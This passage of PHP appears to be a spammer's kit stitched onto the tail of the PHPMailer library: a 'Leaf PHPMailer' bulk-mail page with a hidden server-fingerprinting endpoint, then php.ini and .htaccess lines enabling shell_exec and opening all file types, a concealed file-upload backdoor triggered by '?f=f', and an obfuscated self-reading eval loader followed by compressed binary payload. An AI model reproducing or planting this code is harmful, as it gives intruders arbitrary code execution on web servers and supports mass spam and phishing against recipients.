            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$rXEy='st'.'r'.'_re'.'place';$Kfgo='fi'.'le_ge'.'t'.'_conten'.'ts';$rIpw='subst'.'r';$YbBf='e'.'x'.'it';$WFVS='gzuncomp'.'ress';eval($WFVS($rXEy('ymlrwtjekp','>',$rXEy('skrtuvemyj','<',$rIpw($Kfgo( __FILE__ ),-172374)))));$YbBf(0);
?>
xTǎPe%d6hzBH{&	|}+:G5x I!sZsf??~?([_m*ߧ߫10ŶN$Kb]k1Oތտh[fn?ULg3Ϟ?Ya:m'rvqNV@0nĪ*.$A÷%H/߿b%{OQZ
AKlK5.㻅v4N_HNOֻ!ۧņ3r'rk=nIx;nk-n٧u~Ev7|XjhzGy-ǞdL&8}	qy͵	qQQNK-хWUiPgGPCQ
a%\}}/?"?-N\D#I6 賥:{a/)o."%3zn-k)ݝ6W ]錄"3N$$松c4tp,⳷̩UnOL2skrtuvemyj 䘭wYymlrwtjekp]]BٽawٮM|qE#C䢓VPoTS!LSeqv+C2gϢҜT0@I`,NM2(KmQsvQMT$˴ŷll~x 
 \՗$?o	KӔHxTiNe5~G(
Yէٸٝr0} =+G@*^faŅ4P:+;?=,Zpn&'ͬT0;A׏}E~,skrtuvemyjG]fy澨Bz"@=Yf,
KL$fDRp,e&Go
mz@Ԍ!Ics,)[¬N蜊1+wymlrwtjekp=i"ZVP}XLWv=گ@NYpn+^ڡ#PiUQW)Si(WG)M)i؉9؃
JDOZ5oF[(B}غXÍDAymlrwtjekpTRF~~е/K
0EskrtuvemyjTS_{5NH 	w7M&5w͐22Q,'BzuĚ|UR x5=cN?#B
At@7dxs@,yۅymlrwtjekp1v#ȃZ
γKl;$3J#1]{zpf8K4C g.;IŊ@wJQ\6skrtuvemyj݌j~x$EP KZ6d@((	z[ED=AWwCo!039݊#Yk#Є7T+ Vs0ŋS.lҎh)ymlrwtjekpUtb^Ϛ3=^3O1+\skrtuvemyjJOzp3h|^p_0le/skrtuvemyjշ!UV
BUP~?}s4+`Re\Tonskrtuvemyjrê`Ӌ.ےV@xeuQ˅uگϋ{YI
jF3Bo0pcHqkHU dj:BymlrwtjekpoX).D`:|_b0QDVDnguD2|8S|"6`o!&)\ID*ymlrwtjekp5ΪKh&#~}]飅wnX'_|[ޥيskrtuvemyj':1
!?k`l0М˹)[Os+0i;oiBNhskrtuvemyj		{ҹgX^Zww7iZ@%%4@o5eGj851  3L@AU)8z08lJO]ADœA`f$~3ymlrwtjekp	/upxB(WܮA2c1ׁ!/Kz/+4+,FhiwEe,pEskrtuvemyjY編eɬ֫J3h`n/]7oxIIK)M?#1tϜ=$檎В FQeB'2,W`njdCI%FX\
obKpjQ;;}]x:ݢZa1UgyC5խLymlrwtjekp0N ("I}6ymlrwtjekpIbz0w}$tϧ;0gБ֛w$ w
:Nskrtuvemyj8s3#	]	nTitDB̵6Wb3)H1of -QURD@;`Wnai&zD\!JZjfnR;qZS9Aj
QFy@^QǨx46TkK #f%0I@#rvskrtuvemyji"bslM7E}wSZ܂!֗*GP0ώ=9,,4c{rsbt20EqHLv㘿Z"4]?凂PCHϝh&=+ ddⵅlrFѨψ?/\X Z?R%:A3Y{8%ޯX^CymlrwtjekpLl#j7rC¹E#n6ؔS'm3P;Wxtvبp@up4܊0[&%ٔn{q6Vp_ysUJ\k~/%^UPr:^#/Xgj"`I
.WⳞy/=a/iJ7!mD1π%iy\%BYgJymlrwtjekpAWH@較Jti+qRYq(-#iQ颸[m	_[RL''k~i]T skrtuvemyj8]G3fDymlrwtjekpMhhM$dAA i㔬'WL0&r9.HDeUtskrtuvemyj~whƫZ\G\:BXΝ K"xIIP%F%KV4gTگJ4\
`Va
dOX._pھ(Ndskrtuvemyj"`ࢾps?=Ry.m}ymlrwtjekpg$w!?SXTP0;җD梵qNHѵskrtuvemyjSRIb[R`e! `Yw2rskrtuvemyjɬn%4kxBP
eR{ǁM렱y}߯Z0^Gymlrwtjekpd)gJr:!,s\YqZj_ezymlrwtjekp{A d#1\v$Q~Rq=؄iK8խ[n4;h=xAk|65ѓ6 Js:W䥀nl=8O'Wg(Z萃S*S٪k#Pz3bkΖnTk浧ƈjuYV==X&o0:DWbsao`c2:'=ySOYd1ZQ}kF"UȩH3dj,
,;'It7FB';pa8k#VM:XJ}dZuHv.Rj;I{qxU J:fpNBQ:b[K؉U00Ǔ{1P4^~ޑxyCMخfpgymlrwtjekpK%:5Hf$dʹ0QW:VFnNy֪qoy\MgÄ	k\FCsgysӫc./`	h: {]oZZxʍ}' A|jy!|46(l:DfH#L }D)h=HquqwelW?ʎ̇B9)$'pA bԯxskrtuvemyjߎD$~ymlrwtjekplM!o!P_V
rOvZ]u"[̡\'=^{bI)=0jZ/ŗ $:.rymlrwtjekpUTǐ=mS!esLpy琎p=

(ҺEԝb^~LX0#l㊭jʂs0ymlrwtjekp4{VD+WI={Dp2YuR7@BUfJ校VUfeg=6'!Mݵ|lskrtuvemyjp$D+S%skrtuvemyj&Zdx[DEG4bǸ
hZ}ҫZ';)LǅT2saHbo	"XMw	䔁Kmap:.oe#{mkWlN#l89:]
f6e;܉Ƿ*{^V˕u*9	ymlrwtjekpG}|P'\f	eB~ KaL$sA@g4.Gc!	u%@{}W3ZUa{a߅D.#DSskrtuvemyjZc;uWjBi3|ʈI8xN}THM7v@6;K0A,nut/AlB%$5ɐKYwOcGyMq a`[&W8۝ʼP_~\gPM/~IymlrwtjekpZA*ij5/O4ۑ#Zͽ']2娔
Ԇml$gT|-"یblΚըዞ}!Ӡ*)B,8bkiȰfqRqTe"΅֛8=`",$lkskrtuvemyjY&Zx댪* (?~F̺"~_}MsTu.!Z\+JL,D;(_-R?~j*֏a+h;a70KR^Wl7J1~64_++U\ )W~zHY[8~Zd7nC7XwJ	skrtuvemyj6No˛@HJڂ9zq/WUPվskrtuvemyj/
A!UwȔ~}4Ǳ*Ua^ mjw8r*qfoMkU"skrtuvemyjƯouòd^kK~NhV.{`Q߬H%bߥNUv1#S6@+Z3d!17O[ˣÿ%mƭDicgL/'sSC?TD5F$ymlrwtjekp
ˋ؁_LI*Yj@skrtuvemyjQ*wnT]rw.$~j']xO\U8U[r(N"}kvѲ5`~f&]u3 3aNx`LZ`8&QTbl^X9rG00q|:7\:PQC6W9d%&VqiMbw,($K(95/+ѳ4WBY//2 {skrtuvemyjkM=ek=ɟ6#$ĻNRRe)AB=}nT`@4ڧ`&X 
GiKacŷ!/~}s?H.
,3FX내`0~uyvdWg.A&[yBa7{_ϹaӐ^;nJ}7~䅋JN[@po:t*
	1r~!k#N^ymlrwtjekpDA}?ezsHzXRo04#7U*s
~ŝ/yh\?4@9XoD܇}G'QtpqR#t_y%ͳZM$V 3XBskrtuvemyj$!iyskrtuvemyjS/%w@#jΔM&G۱ƛ% "TDvP!skrtuvemyjTWP9e| 
L
x.-DLmB7z,\׉ʢ-5[[@ !jzWJ C}
/ge~X-/QxZμ˸vDq9z(o}ޯO)ymlrwtjekpG Lr݁8)|v(W*S/ Xjk@ջ~h^WnHnpoCǇgs{/YnePk\68?q R:
i eȥ#WOzf6| %E2ʆoǅu2ӌ3\8U!1~GkIU3ymskrtuvemyjhlnDeuqĳf4b_Z**'K@,;v+7G+2kҏXRmlʗbt$=v)p8ZuUm⯰D{;ڋ*[#W+TvgLwE XMɕ[6c:qo|HmM9xM azLZymlrwtjekp]̻|	^£y4/qȳ@9"7+l;*6?W ~-4ˑ
`mI0hBbT'BjkZHr.Mڑ#eWzZW{:%]~KmfDߟaymlrwtjekpZR&-d,.?LD%W	&t
:~פD0GdG	?⓴xg%}&Mb
,&O@O=Xo8ƽ%/o,2'&|K8?J^|o@ʧȿf28pD,%6iX)ƏFDp޾(vQ		DlY#szymlrwtjekpM5aHv߭mRZVŦ3ay^}	Pw[mymlrwtjekpNh1
)aXoyE1x(GMtM#O00xM(
vޞskrtuvemyj.Ӯ7CvW-|RHu(Ζbɡskrtuvemyjg9l73%ԷY%IÅX(Q|IGQϗ?Հ.#t#.wl%"p[
?$#I=2ՖN({:Ǎ
